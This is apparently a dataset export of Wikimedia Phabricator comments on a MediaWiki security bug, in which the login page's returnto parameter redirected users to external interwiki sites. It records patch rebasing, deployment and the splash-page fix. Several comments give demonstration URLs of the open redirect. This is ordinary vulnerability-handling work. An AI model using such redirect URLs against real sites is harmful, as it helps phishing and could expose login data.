+",,,1491515816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+838302,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 346848 merged by jenkins-bot:
+[mediawiki/core@REL1_27] SECURITY: Do not directly redirect to interwikis, but use splash page
+
+[[https://gerrit.wikimedia.org/r/346848]]
+",,,1491515212,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+838277,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Change 346839 merged by jenkins-bot:
+[mediawiki/core@master] SECURITY: Do not directly redirect to interwikis, but use splash page
+
+[[https://gerrit.wikimedia.org/r/346839]]
+",,,1491512595,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,92,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+834699,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Closing for ease of tracking progress. Patches attached to parent bug, due for next release",,,1490896774,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,91,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+797009,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Rebased version in `/srv/patches/1.29.0-wmf.9/core/01-T109140.patch`. The patch mis-applied due to a refactoring of the method it changes and caused fatals. I've updated both wmf.9 on tin and synced out, along with fixing up the patch file.",,,1485300309,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,81,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+777242,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,">>! In T109140#2870462, @Tgr wrote:
+> FWIW I think it's not a good trade-off to kick these low-severity patches forward in secret for months (not so much because of the occasional need for rebase as for MediaWiki for third parties not getting the fix for a long time).
+
++1",,,1481667485,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,75,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,1
+777139,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Rebased version in `/srv/patches/1.29.0-wmf.6/core/01-T109140.patch` (it was just an i18n conflict).
+FWIW I think it's not a good trade-off to kick these low-severity patches forward in secret for months (not so much because of the occasional need for rebase as for MediaWiki for third parties not getting the fix for a long time).",,,1481661918,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,75,True,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+777089,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Hey @Tgr, can you rebase this patch for 1.29.0-wmf.6?",,,1481658502,,PHID-USER-kf224u62afnn727j4brt,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,75,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0
+777060,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,The patch no longer applies as of `1.29.0-wmf.9`,,,1481657114,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,75,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+753061,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Note to self, there is a similar issues in CentralAuth.",,,1478002556,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,69,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+730403,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,@dpatrick a good candidate for making non-secret IMO.,,,1474144769,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,63,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0
+720185,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,With wmf.17 https://www.mediawiki.org/wiki/Special:UserLogin?returnto=google:foo  gives me the splash screen.   Kudos that looks great.,,,1472585773,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0
+719948,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"THANK YOU @tgr !!!
+
+I have grabbed your attachment on tin and saved it as:
+
+    /srv/patches/1.28.0-wmf.17/core/01-T109140-rebased.patch
+
+The old one that no more apply is kept behind as `01-T109140.patch-OLD`.
+
+
+
+That is going to land on testwiki/mediawiki tonight as I push wmf.17  to group0.",,,1472568353,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,0,1,1,0,0
+719733,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"//oops, Phabricator handles network connection issues poorly. Removed duplicate.//",,,1472538520,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+719726,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"{F4415405}
+Rebased (and fixed a typo in LoginHelper), reviewed, tested. CR+2, does what it intends to.
+Some minor quibbles that are probably more convenient to handle once the patch is public:
+* should this be applied to OutputPage::addReturnTo?
+* use PROTO_HTTPS by default, safer and less trouble with caching
+* bunch of incorrect capitalizations in Title::getFullUrlForRedirect (also, getFullURL vs. getFullUrlForRedirect, although I do prefer the latter personally)
+* GoToInterwiki should probably be a hidden special page?
+* not really needed for Preferences and PageLanguage",,,1472537936,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+719725,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"{F4415405}
+Rebased (and fixed a typo in LoginHelper), reviewed, tested. CR+2, does what it intends to.
+Some minor quibbles that are probably more convenient to handle once the patch is public:
+* should this be applied to OutputPage::addReturnTo?
+* use PROTO_HTTPS by default, safer and less trouble with caching
+* bunch of incorrect capitalizations in Title::getFullUrlForRedirect (also, getFullURL vs. getFullUrlForRedirect, although I do prefer the latter personally)
+* GoToInterwiki should probably be a hidden special page?
+* not really needed for Preferences and PageLanguage",,,1472537906,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+719564,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,@hashar you marked this as a blocker to wmf.16. You start rolling out wmf.17 tomorrow: what should happen? Should we remove this as a blocker to wmf.16? add it as a blocker to wmf.17? Actually block wmf.17 with it (which the previous choice presumes)?,,,1472504340,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0
+717281,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"wmf.16 is on group0 and group1 now.  The external interwiki redirect is present on both wmf.15 (eg enwiki) and wmf.16 (eg mediawikiwiki).
+
+https://en.wikipedia.org/wiki/Special:UserLogin?returnto=google:foo
+https://www.mediawiki.org/wiki/Special:UserLogin?returnto=google:foo
+
+Patch for wmf.16 is `/srv/patches/1.28.0-wmf.16/core/01-T109140.patch` and touch the no more existing file `includes/specials/pre-authmanager/SpecialUserlogin.php`.  Looks like the check has to be moved to `includes/specials/helpers/LoginHelper.php`:
+
+```
+lang=php, name=includes/specials/helpers/LoginHelper.php
+        // Allow modification of redirect behavior
+        Hooks::run( 'PostLoginRedirect', [ &$returnTo, &$returnToQuery, &$type ] );
+
+        $returnToTitle = Title::newFromText( $returnTo ) ?:  Title::newMainPage();
+```
+
+That needs the extra condition `$returnToTitle->isExternal()` to send back to the main page.
+
+I do not want to mess up with login, I am long outdated on MediaWiki code development. Also looks like T122209 which is handling returnto parameter for Search could benefit from a similar fix.   Ideally we would have some kind of helper function to handle titles passed to `returnto` parameters and automagically fallback to MainPage when the URL turns out to be external.
+
+",,,1472112547,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,60,True,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,1,1,0,1,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+715982,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Same issue in 1.28.0-wmf.15:
+```
+$ git apply --check --3way /srv/patches/1.28.0-wmf.15/core/01-T109140.patch
+error: includes/specials/pre-authmanager/SpecialUserlogin.php: does not exist in index
+```
+
+So I guess when we have prepared wmf.15 last week, the patch got skipped :(",,,1471961750,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+715925,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Hmm, the patch doesn't seem to be live in production right now, though? Visiting https://en.wikipedia.org/wiki/Special:UserLogin?returnto=google:foo redirects me to Google. And I think someone said somewhere that we want to review the patch publicly in Gerrit.",,,1471958433,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0,1,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0
+715922,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Yes, that part of the patch (for the removed old special page) is no longer needed. Everything else still is.",,,1471958276,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0
+715887,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"The includes/specials/pre-authmanager has been removed on August 9th via 854a462dc0aef59e1c26c057792b8a9214449af5
+
+So I am tempted to assume that `/srv/patches/1.28.0-wmf.16/core/01-T109140.patch` is no more needed?",,,1471955207,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,1,0,0
+715879,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"The patch on tin `/srv/patches/1.28.0-wmf.16/core/01-T109140.patch` no more apply since the special page apparently got removed:
+
+```
+hashar@tin:/srv/mediawiki-staging/php-1.28.0-wmf.16$ git apply --check --3way /srv/patches/1.28.0-wmf.16/core/01-T109140.patch
+error: includes/specials/pre-authmanager/SpecialUserlogin.php: does not exist in index
+```
+
+",,,1471954556,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,59,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,1
+706708,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Rebased patch: {F4339094} (applies on d181ba1a9b00e7b7e418b82e0b0def3cc184e48d).
+
+(I applied @bawolff F3328788 on top of 8aa6c9f43e9b54e4157a5feee42229a9a48b1764, then rebased. Most conflicts looked scary but were actually simple. One interesting one was that the change in SpecialChangePassword now needed to be applied in SpecialChangeCredentials instead.)
+
+Also included @tgr's fix for AuthManager (slightly modified).
+
+This needs to be tested carefully again, since I only fixed the obvious merge errors, and only checked the functionality briefly.",,,1470408203,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,57,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0
+677880,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,">>! In T109140#2372245, @Tgr wrote:
+> AuthManager version: {F4150736}
+
+Code-Review: +1",,,1465581627,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,49,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1
+677804,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"AuthManager version: {F4150736}
+
+Apologies for missing this earlier. I glanced at the deployed patch but the commit summary talks about a `&redirectto=` parameter so I assumed it wasn't handled by the login page.",,,1465577306,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,49,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+624787,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Deployed lego's initial patch for Special:Userlogin,
+
+19:17 csteipp: deployed initial patch for T109140
+
+Not sure if we should wait for a tarball release before publicly doing the splash-screen patch.",,,1457378366,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,35,True,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+606944,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Version 2 of this patch (per MatmaRex's comments):
+{F3328566}
+
+I agree that this is not something I'd prefer to be a security patch.
+
+-----
+
+version 2 had a small mistake. Here is version 3: {F3328788}",,,1455061187,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+606931,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Version 2 of this patch (per MatmaRex's comments):
+{F3328566}
+
+I agree that this is not something I'd prefer to be a security patch.
+
+-----
+
+version 2 had a small mistake. Here is version 3: {F3328759}",,,1455060881,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+606882,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Version 2 of this patch (per MatmaRex's comments):
+{F3328566}
+
+I agree that this is not something I'd prefer to be a security patch.",,,1455058010,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+606762,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Doing the full splash-screen as a security patch makes me a little uncomfortable, but I think the direction generally looks good.
+
+Should we deploy lego's original patch to stop external interwiki links from redirecting as a security patch, then do the splash redirect as a public followup?",,,1455050809,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,1,1,0,0,0
+605199,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"I have a patch primarily for T122209, but it also addresses this bug.
+
+{F3320004}
+
+It bans external interwiki links in link based returnto parameters. For direct redirects, it puts a splash page before fully redirecting the user. (So its slightly different from Lego's patch).
+
+I think people are depending on the redirect behaviour for Special:Search, hence the splash page. In the case of returnto, I think either the splash page, or just banning entirely (like Lego's patch), is reasonable.",,,1454851275,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,31,True,0,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+582948,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,At the very least I think this should only redirect for interwikis with iw_local = true.,,,1450818664,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,24,True,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+582786,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,See also {T122209}.,,,1450800358,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,24,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+513998,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"My only concern with this would be if there are any remaining browsers that preserve the HTTP method with 302 response codes. IE will only do so with non-POST/HEAD methods like DELETE and PUT, so there's nothing to worry about there.
+
+But if a browser does treat 302 like 307, which it might since technically it's standards-compliant, it may try and re-POST the user's login data to whatever the interwiki link destination is.
+
+My recommendation would be that we detect if the connection is HTTP/1.1, and if so explicitly use a 303 redirect to ensure login data is not leaked to the site (even if most browsers do not have this issue).",,,1440486487,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,False,,,7,True,1,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+513991,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Hmm, I wasn't aware of that. I was mainly thinking in the context of T108557 - UrlShortener has a whitelist of accepted domains, but that becomes less useful if MW will just redirect you to external sites anyways (albeit a small whitelisted list of domains).",,,1440485721,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-hfu3kty732tqzl625nfz,task_subcomment,,True,c3,3,True,,,7,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+513985,Special:UserLogin?returnto=interwiki:foo will redirect to external sites,"Is redirecting to external sites considered a security issue?
+
